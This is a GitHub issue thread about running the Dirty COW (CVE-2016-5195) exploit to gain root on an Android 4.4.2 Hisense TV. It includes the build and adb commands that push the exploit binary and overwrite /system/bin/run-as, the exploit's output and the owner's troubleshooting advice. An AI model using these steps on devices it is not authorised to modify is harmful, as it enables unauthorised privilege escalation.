Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

warning: new file size and destination file size differ, ptrace I/O error #88

Open
IanBoyanZhang opened this issue Nov 8, 2018 · 2 comments

Comments

@IanBoyanZhang
Copy link

I am trying to gain limited root access on a Hisense vidaa4 running Android 4.4.2.

Have tried to build using SDK v19 v18 v14.

New file size is always 13788

Thank you

ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_ABI=armeabi-v7a APP_PLATFORM=android-18
make[1]: Entering directory `/Users/idefixthegrand/Workspace/CVE-2016-5195'
[armeabi-v7a] Install        : dirtycow => libs/armeabi-v7a/dirtycow
[armeabi-v7a] Install        : run-as => libs/armeabi-v7a/run-as
make[1]: Leaving directory `/Users/idefixthegrand/Workspace/CVE-2016-5195'
adb push libs/armeabi-v7a/dirtycow /data/local/tmp/dcow
libs/armeabi-v7a/dirtycow: 1 file pushed. 0.5 MB/s (17884 bytes in 0.034s)
adb shell 'chmod 777 /data/local/tmp/dcow'
adb shell 'chmod 777 /data/local/tmp/dcow'
adb push libs/armeabi-v7a/run-as /data/local/tmp/run-as
libs/armeabi-v7a/run-as: 1 file pushed. 0.3 MB/s (13788 bytes in 0.041s)
adb shell '/data/local/tmp/dcow /data/local/tmp/run-as /system/bin/run-as'
dcow /data/local/tmp/run-as /system/bin/run-as
warning: new file size (13788) and destination file size (9432) differ

corruption?

[*] size 13788
[*] mmap 0xb6ef4000
[*] currently 0xb6ef4000=464c457f
[*] using ptrace method
[*] madvise = 0xb6ef4000 13788
/data/local/tmp/dcow: ptrace(PTRACE_POKETEXT): I/O error
/data/local/tmp/dcow: ptrace(PTRACE_POKETEXT): I/O error
/data/local/tmp/dcow: ptrace(PTRACE_POKETEXT): I/O error
/data/local/tmp/dcow: ptrace(PTRACE_POKETEXT): I/O error
/data/local/tmp/dcow: ptrace(PTRACE_POKETEXT): I/O error
/data/local/tmp/dcow: ptrace(PTRACE_POKETEXT): I/O error
@timwr
Copy link
Owner

timwr commented Nov 8, 2018

Can you try use armeabi version of run-as? Everything else should be armeabi-v7a

@IanBoyanZhang
Copy link
Author

Tried to use armeabi run-as

adb shell '/data/local/tmp/dcow /data/local/tmp/run-as /system/bin/run-as'


dcow /data/local/tmp/run-as /system/bin/run-as
warning: new file size (5544) and destination file size (9432) differ

[*] size 9432
[*] mmap 0xb6f0a000
[*] currently 0xb6f0a000=464c457f
[*] using /proc/self/mem method
[*] madvise = 0xb6f0a000 9432
[*] madvise = 0 2
[*] /proc/self/mem 0 0
[*] exploited 0 0xb6f0a000=464c457f

adb shell /system/bin/run-as

uid /system/bin/run-as 2000
setresgid/setresuid failed
uid 2000

Guess I should refer to this issue

Thank you.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants